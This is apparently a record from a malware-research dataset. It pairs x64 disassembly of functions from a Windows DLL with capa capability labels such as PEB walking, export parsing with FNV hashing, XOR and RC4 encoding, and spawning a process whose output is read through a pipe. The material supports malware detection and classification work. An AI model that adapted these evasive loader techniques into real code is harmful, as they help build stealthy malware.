joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800020c3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18000c070]
jne 0x18000187a
rol rcx, 0x10
test cx, 0xffff
jne 0x180001876
repz ret
ror rcx, 0x10
jmp 0x18000201c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180ebed40]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180ebee38]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1800020a1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180ebed40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1800020c3
mov rax, qword [rsp + 0x88]
mov qword [0x180ebee38], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180ebedd8], rax
mov rax, qword [0x180ebee38]
mov qword [0x180ebecb0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180ebedc0], rax
mov dword [0x180ebeca0], 0xc0000409
mov dword [0x180ebeca4], 1
mov rax, qword [0x18000c070]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000c078]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180ebed38], eax
mov ecx, 1
call fcn.180004d84
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1800082e0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180ebed38], 0
jne 0x18000214a
mov ecx, 1
call fcn.180004d84
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180006af4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18000c070]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18000318c
xor ebx, ebx
cmp qword [0x180ebfce8], rbx
mov rdi, rax
jne 0x180006c07
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180006cde
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180006cde
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180ebfce8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180ebfcf0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180ebfcf8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180ebfd08], rax
test rax, rax
je 0x180006bfe
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180ebfd00], rax
jmp 0x180006c0e
mov rax, qword [0x180ebfd00]
jmp 0x180006c15
mov rax, qword [0x180ebfd00]
mov r11, qword [0x180ebfd08]
cmp rax, rdi
je 0x180006c7c
cmp r11, rdi
je 0x180006c7c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180ebfd08]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180006c7c
test rax, rax
je 0x180006c7c
call rsi
test rax, rax
je 0x180006c76
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180006c76
test byte [rsp + 0x40], 1
jne 0x180006c7c
bts ebp, 0x15
jmp 0x180006cbc
mov rcx, qword [0x180ebfcf0]
cmp rcx, rdi
je 0x180006cbc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180006cbc
call rax
mov rbx, rax
test rax, rax
je 0x180006cbc
mov rcx, qword [0x180ebfcf8]
cmp rcx, rdi
je 0x180006cbc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180006cbc
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180ebfce8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180006cde
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180006ce0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180001860
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000de04
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r15d, edx
mov rbx, rcx
test rcx, rcx
je 0x18000de74
movsxd rax, dword [rcx + 0x3c]
xor r14d, r14d
mov edi, dword [rax + rcx + 0x88]
movsxd r12, dword [rax + rcx + 0x8c]
add rdi, rcx
mov ebp, dword [rdi + 0x20]
mov esi, dword [rdi + 0x24]
add rbp, rcx
add rsi, rcx
cmp dword [rdi + 0x18], r14d
jbe 0x18000de74
mov ecx, dword [rbp]
or edx, 0xffffffff
add rcx, rbx
call fcn.18000d328
cmp eax, r15d
je 0x18000de8f
inc r14d
add rbp, 4
add rsi, 2
cmp r14d, dword [rdi + 0x18]
jb 0x18000de50
xor eax, eax
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
movzx eax, word [rsi]
test eax, eax
js 0x18000de74
mov ecx, dword [rdi + 0x1c]
add rcx, rbx
mov r8d, dword [rcx + rax*4]
add r8, rbx
cmp r8, rdi
jbe 0x18000df59
lea rax, [rdi + r12]
cmp r8, rax
jae 0x18000df59
mov al, byte [r8]
xor edx, edx
cmp al, 0x2e
je 0x18000dedc
lea r9, [rsp + 0x20]
mov rcx, r8
sub r9, r8
mov byte [r9 + rcx], al
inc rcx
inc edx
mov al, byte [rcx]
cmp al, 0x2e
jne 0x18000decd
lea ecx, [rdx + 1]
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0x2e
movsxd rax, ecx
movsxd rbx, ecx
mov byte [rsp + rax + 0x20], 0x64
inc ecx
add rbx, r8
movsxd rax, ecx
mov byte [rsp + rax + 0x20], 0x6c
lea eax, [rcx + 1]
xor ecx, ecx
cmp byte [rbx], 0x23
cdqe
mov dword [rsp + 0x70], ecx
mov word [rsp + rax + 0x20], 0x6c
jne 0x18000df3d
inc rbx
mov al, byte [rbx]
test al, al
je 0x18000df38
lea ecx, [rcx + rcx*4]
movsx eax, al
inc rbx
lea ecx, [rcx - 0x18]
lea ecx, [rax + rcx*2]
mov al, byte [rbx]
test al, al
jne 0x18000df1f
mov dword [rsp + 0x70], ecx
lea rbx, [rsp + 0x70]
lea rcx, [rsp + 0x20]
call qword [0x180020ec8]
mov rdx, rbx
mov rcx, rax
call qword [0x180020ec0]
jmp 0x18000de76
mov rax, r8
jmp 0x18000de76

Function at 0x18000df64
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov rax, qword gs:[0x60]
mov ebp, ecx
mov rdi, qword [rax + 0x18]
add rdi, 0x10
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x18000dffe
mov r15d, 0x3f
xor r14d, r14d
cmp word [rbx + 0x58], r15w
jae 0x18000dff6
mov r8, qword [rbx + 0x60]
mov esi, r14d
mov rcx, r14
cmp word [r8], r14w
je 0x18000dfd7
movsxd rax, esi
cmp rax, r15
jae 0x18000dfd7
mov al, byte [r8 + rcx*2]
inc rcx
inc esi
mov byte [rsp + rcx + 0x1f], al
mov r8, qword [rbx + 0x60]
cmp word [r8 + rcx*2], r14w
jne 0x18000dfb7
mov byte [rsp + rcx + 0x20], r14b
lea rcx, [rsp + 0x20]
call fcn.18000dce0
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.18000d328
cmp ebp, eax
je 0x18000e01a
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x18000dfa0
xor eax, eax
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov rax, qword [rbx + 0x30]
jmp 0x18000e000
Function at 0x18000eb54
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
and dword [0x1800230b8], 0
mov edx, 0xd26f2a4
xor ecx, ecx
call fcn.18000e0f4
call rax
lea rcx, [0x18001f760]
xor dword [rcx], eax
lea rdx, [0x18001f7a4]
add rcx, 4
cmp rcx, rdx
jl 0x18000eb74
add rsp, 0x28
ret

Function at 0x18001090c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, r8
mov rbp, rdx
mov rdi, rcx
call fcn.18000d570
movsxd r14, eax
mov rcx, r14
call fcn.18000c830
cmp byte [rdi], 0
mov rcx, rbp
mov rsi, rax
je 0x180010968
mov rdx, rax
sub rdx, rdi
mov al, byte [rdi]
xor al, byte [rcx]
inc rcx
mov byte [rdx + rdi], al
inc rdi
cmp byte [rcx], 0
cmove rcx, rbp
cmp byte [rdi], 0
jne 0x18001094f
mov r8, rbx
mov edx, r14d
mov rcx, rsi
call fcn.1800109c4
mov rcx, rsi
call fcn.18000ca70
movsxd rdx, dword [rbx + 8]
mov rax, rdx
test edx, edx
jle 0x18001099d
mov rcx, qword [rbx]
cmp byte [rcx + rax - 1], 0x3d
jne 0x18001099d
dec rax
dec edx
test rax, rax
jg 0x18001098c
mov rcx, rbx
call fcn.18000d8a4
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop r14
ret

Function at 0x180013224
Capabilities:
Inspect section memory permissions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
movsxd rbp, dword [rcx + 0x3c]
mov r13d, edx
xor edx, edx
add rbp, rcx
mov r12, rcx
mov r15d, edx
movzx eax, word [rbp + 0x14]
cmp dx, word [rbp + 6]
jae 0x180013349
lea r14, [rbp + 0x3c]
add r14, rax
mov ecx, dword [r14 - 0x14]
test r13d, r13d
jne 0x180013306
mov eax, dword [r14]
lea esi, [r13 + 1]
and eax, 0xe0000000
cmp eax, 0x20000000
je 0x1800132da
cmp eax, 0x40000000
je 0x1800132d3
cmp eax, 0x60000000
je 0x1800132cc
cmp eax, 0x80000000
je 0x1800132c5
cmp eax, 0xa0000000
je 0x1800132be
cmp eax, 0xc0000000
je 0x1800132b7
cmp eax, 0xe0000000
jne 0x1800132df
lea esi, [r13 + 0x40]
jmp 0x1800132df
mov esi, 4
jmp 0x1800132df
mov esi, 0x80
jmp 0x1800132df
mov esi, 8
jmp 0x1800132df
mov esi, 0x20
jmp 0x1800132df
mov esi, 2
jmp 0x1800132df
mov esi, 0x10
test dword [r14], 0x4000000
je 0x1800132ec
bts esi, 9
test ecx, ecx
jne 0x18001330d
test byte [r14], 0x40
je 0x1800132fb
mov ecx, dword [rbp + 0x20]
jmp 0x180013309
test byte [r14], 0x80
je 0x180013335
mov ecx, dword [rbp + 0x24]
jmp 0x180013309
mov esi, r13d
test ecx, ecx
je 0x180013335
mov edi, dword [r14 - 0x18]
mov ebx, dword [r14 - 0x1c]
mov edx, 0x72d1864
xor ecx, ecx
add rdi, r12
call fcn.18000e0f4
lea r9, [rsp + 0x50]
mov r8d, esi
mov edx, ebx
mov rcx, rdi
call rax
xor edx, edx
movzx eax, word [rbp + 6]
inc r15d
add r14, 0x28
cmp r15d, eax
jl 0x180013267
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180014e54
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x30
movsxd rbx, dword [rcx + 0x3c]
mov rbp, rcx
mov r14, r9
mov ecx, dword [rbx + rcx + 0x50]
mov r15, r8
mov rdi, rdx
mov qword [rdx], rcx
add rcx, 0x100
call fcn.18000c830
mov r8d, dword [rdi]
mov rdx, rbp
mov rcx, rax
mov rsi, rax
call fcn.18000ce24
mov ecx, dword [rbx + rbp + 0xb0]
mov r9d, dword [rbx + rbp + 0xb4]
mov r8, r15
add rcx, rbp
mov rdx, rsi
sub r8, rbp
call fcn.180013834
lea rcx, [rsp + 0x50]
mov edx, 4
call fcn.18000eb10
xor r8d, r8d
test qword [rdi], 0xfffffffffffffffc
jbe 0x180014efa
mov rdx, rsi
mov eax, dword [rsp + 0x50]
inc r8d
xor dword [rdx], eax
mov rcx, qword [rdi]
movsxd rax, r8d
shr rcx, 2
lea rdx, [rdx + 4]
cmp rax, rcx
jb 0x180014ede
mov rax, r15
mov rdx, r15
sub rax, rbp
add qword [r14], rax
mov rcx, qword [rdi]
mov eax, dword [rsp + 0x50]
mov r9, qword [r14]
mov r8d, dword [rdi]
add rcx, rsi
mov dword [rsp + 0x20], eax
call fcn.180014cd8
mov rdx, qword [rdi]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rdx, r15
cdqe
mov qword [r14], rdx
add qword [rdi], rax
mov rax, rsi
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x180015308
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
lea rdx, str._v_tp_v_v
mov r8d, 0xc8
mov rdi, rcx
call fcn.18000c9c8
xor r9d, r9d
mov r8d, r9d
mov ecx, r9d
mov rdx, qword [rdi]
mov al, byte [rdx + r8]
inc r8
xor byte [rdx + rcx + 2], al
cmp r8, 2
cmove r8, r9
inc rcx
cmp rcx, 0xc6
jl 0x180015330
mov edx, dword [rdi + 8]
mov rax, qword [rdi]
mov rcx, rdi
movzx ebx, byte [rax + 2]
lea r8d, [rdx - 3]
sub edx, r8d
call fcn.18000cdc8
mov edx, ebx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.18000cda8
Function at 0x18001aa60
Capabilities:
Create pipe
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0x100
xor eax, eax
xor r15d, r15d
mov ebx, r8d
mov rsi, rcx
mov rdi, rdx
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
lea r8d, [rax + 0x68]
lea rcx, [rbp - 0x29]
xor edx, edx
mov dword [rbp - 0x61], 0x18
mov dword [rbp - 0x51], 1
mov qword [rbp - 0x59], r15
mov qword [rbp + 0x7f], r15
mov qword [rbp - 0x69], r15
call fcn.18000ce4c
xor ecx, ecx
mov qword [rbp - 0x49], rcx
mov qword [rbp - 0x41], rcx
mov qword [rbp - 0x39], rcx
lea rcx, [rbp + 0x7f]
lea r8, [rbp - 0x61]
lea rdx, [rbp - 0x69]
xor r9d, r9d
mov dword [rbp - 0x29], 0x68
mov dword [rbp + 0x13], 1
mov word [rbp + 0x17], r15w
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x18001ab00
lea eax, [r15 + 1]
jmp 0x18001ab8c
mov rax, qword [rbp - 0x69]
bts dword [rbp + 0x13], 8
xor r9d, r9d
mov qword [rbp + 0x37], rax
mov qword [rbp + 0x2f], rax
lea rax, [rbp - 0x49]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x29]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov rdx, rsi
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18001ab76
mov rdx, qword [rbp + 0x7f]
mov rcx, qword [rbp - 0x49]
mov r9d, ebx
mov r8, rdi
call fcn.18001aba4
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
Function at 0x18001aba4
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r13
push r14
sub rsp, 0x440
mov rdi, rdx
lea rax, [rsp + 0x30]
mov ebp, r9d
mov r14, r8
mov rsi, rcx
xor ebx, ebx
and qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov rcx, rdi
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x18001aca8
mov r13d, 0x400
mov ecx, dword [rsp + 0x30]
test ecx, ecx
je 0x18001ac4d
movsxd rax, ecx
lea r9, [rsp + 0x34]
lea rdx, [rsp + 0x40]
cmp rax, r13
cmova ecx, r13d
and qword [rsp + 0x20], 0
mov r8d, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r9d, dword [rsp + 0x34]
lea r8, [rsp + 0x40]
mov edx, ebp
mov rcx, r14
call fcn.180018970
mov ecx, dword [rsp + 0x30]
sub ecx, dword [rsp + 0x34]
mov dword [rsp + 0x30], ecx
jne 0x18001ac03
jmp 0x18001ac7f
test ebx, ebx
jne 0x18001ac6b
lea edx, [rbx + 0x64]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x18001ac7f
mov ebx, 0xa
jmp 0x18001ac7f
mov eax, ebx
dec ebx
cmp eax, 1
je 0x18001aca8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
and qword [rsp + 0x28], 0
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x18001abfb
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop rdi
ret
Function at 0x18005acd0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, rdx
call fcn.180073d50
xor edx, edx
mov qword [rbx], rax
mov rcx, rax
test rax, rax
jne 0x18005acfa
mov qword [rbx + 0x18], rdx
xor al, al
add rsp, 0x20
pop rbx
ret
mov r9d, 0x5a4d
mov rax, rdx
cmp word [rcx], r9w
cmove rax, rcx
test rax, rax
je 0x18005acee
mov eax, dword [rax + 0x3c]
mov r8, rdx
add rax, rcx
cmp dword [rax], 0x4550
cmove r8, rax
mov qword [rbx + 0x18], r8
test r8, r8
je 0x18005ae3a
cmp word [rcx], r9w
mov rax, rdx
cmove rax, rcx
test rax, rax
je 0x18005ae36
mov eax, dword [rax + 0x3c]
add rax, rcx
mov rcx, rdx
cmp dword [rax], 0x4550
cmove rcx, rax
test rcx, rcx
je 0x18005ae36
cmp word [rcx + 6], dx
je 0x18005ae36
movzx eax, word [rcx + 0x14]
add rcx, 0x18
add rcx, rax
mov qword [rbx + 0x20], rcx
je 0x18005ae3a
movups xmm0, xmmword [r8 + 4]
lea rcx, [rbx + 0xc0]
movups xmmword [rbx + 0x28], xmm0
mov eax, dword [r8 + 0x14]
mov dword [rbx + 0x38], eax
lea rax, [r8 + 0x98]
movups xmm0, xmmword [r8 + 0x18]
movups xmmword [rbx + 0x40], xmm0
movups xmm1, xmmword [r8 + 0x28]
movups xmmword [rbx + 0x50], xmm1
movups xmm0, xmmword [r8 + 0x38]
movups xmmword [rbx + 0x60], xmm0
movups xmm1, xmmword [r8 + 0x48]
movups xmmword [rbx + 0x70], xmm1
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rbx + 0x80], xmm0
movups xmm1, xmmword [r8 + 0x68]
movups xmmword [rbx + 0x90], xmm1
movups xmm0, xmmword [r8 + 0x78]
movups xmmword [rbx + 0xa0], xmm0
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmmword [rcx], xmm1
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm0
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm1
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm1
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm0
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm1
mov eax, dword [rbx + 0x44]
mov qword [rbx + 8], rax
mov al, 1
add rsp, 0x20
pop rbx
ret
mov qword [rbx + 0x20], rdx
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x18005b470
Capabilities:
Hash data using fnv

Disassembly:
push rbx
movzx r11d, byte [rdx]
test r9b, r9b
je 0x18005b490
lea r10d, [r11 - 0x41]
lea eax, [r11 + 0x20]
cmp r10b, 0x19
movzx ebx, al
cmova ebx, r11d
jmp 0x18005b494
movzx ebx, r11b
test r8, r8
jne 0x18005b49e
mov rax, rcx
pop rbx
ret
movabs rax, 0x100000001b3
dec r8
imul rcx, rax
movsx rax, bl
inc rdx
xor rcx, rax
pop rbx
jmp fcn.18005b470

Function at 0x18005b4c0
Capabilities:
Hash data using fnv

Disassembly:
movzx r11d, word [rdx]
test r9b, r9b
je 0x18005b4dc
lea eax, [r11 - 0x41]
cmp ax, 0x19
lea r10d, [r11 + 0x20]
cmova r10w, r11w
jmp 0x18005b4e0
movzx r10d, r11w
test r8, r8
jne 0x18005b4e9
mov rax, rcx
ret
movabs rax, 0x100000001b3
dec r8
imul rcx, rax
movzx eax, r10w
add rdx, 2
xor rcx, rax
jmp fcn.18005b4c0
Function at 0x180073be0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbx, qword [rcx]
mov r14, rdx
test rbx, rbx
je 0x180073d1d
test rdx, rdx
je 0x180073d1d
xor r8d, r8d
mov eax, 0x5a4d
cmp word [rbx], ax
cmove r8, rbx
test r8, r8
je 0x180073d1d
mov ecx, dword [r8 + 0x3c]
xor eax, eax
add rcx, rbx
cmp dword [rcx], 0x4550
cmove rax, rcx
test rax, rax
je 0x180073d1d
mov ecx, dword [r8 + 0x3c]
xor eax, eax
add rcx, rbx
cmp dword [rcx], 0x4550
cmove rax, rcx
add rax, 0x88
je 0x180073d1d
mov eax, dword [rax]
add rax, rbx
je 0x180073d1d
mov r15d, dword [rax + 0x1c]
add r15, rbx
je 0x180073d1d
mov edi, dword [rax + 0x20]
add rdi, rbx
je 0x180073d1d
mov r12d, dword [rax + 0x24]
add r12, rbx
je 0x180073d1d
mov ebp, dword [rax + 0x18]
xor esi, esi
test ebp, ebp
je 0x180073d1d
movabs r13, 0xcbf29ce484222325
movabs r11, 0xaf63bd4c8601b7df
mov r9d, dword [rdi]
add r9, rbx
je 0x180073d13
xor r8d, r8d
cmp byte [r9], r8b
je 0x180073ccf
inc r8
cmp byte [r9 + r8], 0
jne 0x180073cc5
movzx edx, byte [r9]
lea ecx, [rdx - 0x41]
cmp cl, 0x19
lea eax, [rdx + 0x20]
movzx r10d, al
cmova r10d, edx
test r8, r8
jne 0x180073cee
mov rax, r13
jmp 0x180073d0e
movsx rcx, r10b
lea rdx, [r9 + 1]
xor rcx, r11
dec r8
mov r9b, 1
call fcn.18005b470
movabs r11, 0xaf63bd4c8601b7df
cmp r14, rax
je 0x180073d3c
inc esi
add rdi, 4
cmp esi, ebp
jb 0x180073cb5
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
movsxd rax, esi
movzx ecx, word [r12 + rax*2]
mov eax, dword [r15 + rcx*4]
add rax, rbx
jmp 0x180073d1f
Function at 0x180073d50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x120
mov rdi, rcx
call fcn.18005ab80
test rax, rax
je 0x180073e93
mov rsi, qword [rax + 0x18]
add rsi, 0x10
mov rbx, qword [rsi]
cmp rbx, rsi
je 0x180073e93
movabs rbp, 0xcbf29ce484222325
movabs r14, 0xaf63bd4c8601b7df
nop word [rax + rax]
cmp word [rbx + 0x58], 0
je 0x180073e87
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0xff
call fcn.18004ebf0
movzx eax, word [rbx + 0x58]
xor r11d, r11d
shr eax, 1
sub eax, 4
test eax, eax
jle 0x180073e2e
lea r9, [rsp + 0x20]
xor r10d, r10d
nop word [rax + rax]
mov rax, qword [rbx + 0x60]
lea r10, [r10 + 2]
lea r9, [r9 + 1]
movzx r8d, word [r10 + rax - 2]
movzx edx, r8b
sub r8w, 0x41
cmp r8w, 0x19
lea eax, [rdx + 0x20]
movzx ecx, al
cmova ecx, edx
inc r11d
mov byte [r9 - 1], cl
movzx eax, word [rbx + 0x58]
shr eax, 1
sub eax, 4
cmp r11d, eax
jl 0x180073df0
movzx edx, byte [rsp + 0x20]
xor r8d, r8d
test dl, dl
je 0x180073e4b
nop word [rax + rax]
inc r8
cmp byte [rsp + r8 + 0x20], 0
jne 0x180073e40
lea ecx, [rdx - 0x41]
cmp cl, 0x19
lea eax, [rdx + 0x20]
movzx r9d, al
cmova r9d, edx
test r8, r8
jne 0x180073e66
mov rax, rbp
jmp 0x180073e7d
movsx rcx, r9b
lea rdx, [rsp + 0x21]
xor rcx, r14
dec r8
mov r9b, 1
call fcn.18005b470
test rdi, rdi
je 0x180073eb3
cmp rdi, rax
je 0x180073eb3
mov rbx, qword [rbx]
cmp rbx, rsi
jne 0x180073db0
xor eax, eax
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov rax, qword [rbx + 0x30]
jmp 0x180073e95